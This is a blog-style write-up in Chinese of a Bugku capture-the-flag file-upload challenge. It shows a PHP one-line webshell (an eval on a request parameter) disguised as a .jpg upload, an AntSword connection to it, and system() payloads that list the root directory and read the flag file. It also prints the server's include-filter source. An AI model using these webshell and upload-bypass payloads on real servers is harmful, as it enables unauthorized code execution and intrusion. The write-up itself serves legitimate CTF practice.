CTF—文件上传练习

Bugku_文件上传2

今天做题的时候发现了这道题尝试了好久才搞出来,记录一下!

方法一

一个欢迎界面

在这里插入图片描述
查看源码:在注释中看到了upload.php
在这里插入图片描述
访问upload.php:
在这里插入图片描述
只能上传jpg gif png格式的文件,且大小不能超过100kib

我们写一句话木马,改后缀为jpg格式:
在这里插入图片描述
上传成功了!
访问一下路径:发现php被解析掉了
在这里插入图片描述

换一个一句话木马<script language="php">eval($_REQUEST[ABC])</script>
修改后缀为jpg格式,继续上传:上传成功,但是访问路径页面显示为空
在这里插入图片描述
尝试用蚁剑连接:
在这里插入图片描述
竟然连接成功了!!1
在根目录下可以找到flag!!

在后端可以看到源码:

<!-- upload.php -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

方法二

依旧上传一句话木马,是通过命令执行的方式将文件显示出来:

<script language=php>system("ls /")</script>

修改文件后缀为jpg,上传成功!
访问路径发现文件flag
在这里插入图片描述
然后再上传图片马:

<script language=php>system("cat /flag")</script>

修改后缀上传!
访问路径得到flag!!
在这里插入图片描述


版权声明:本文为qq_45927819原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。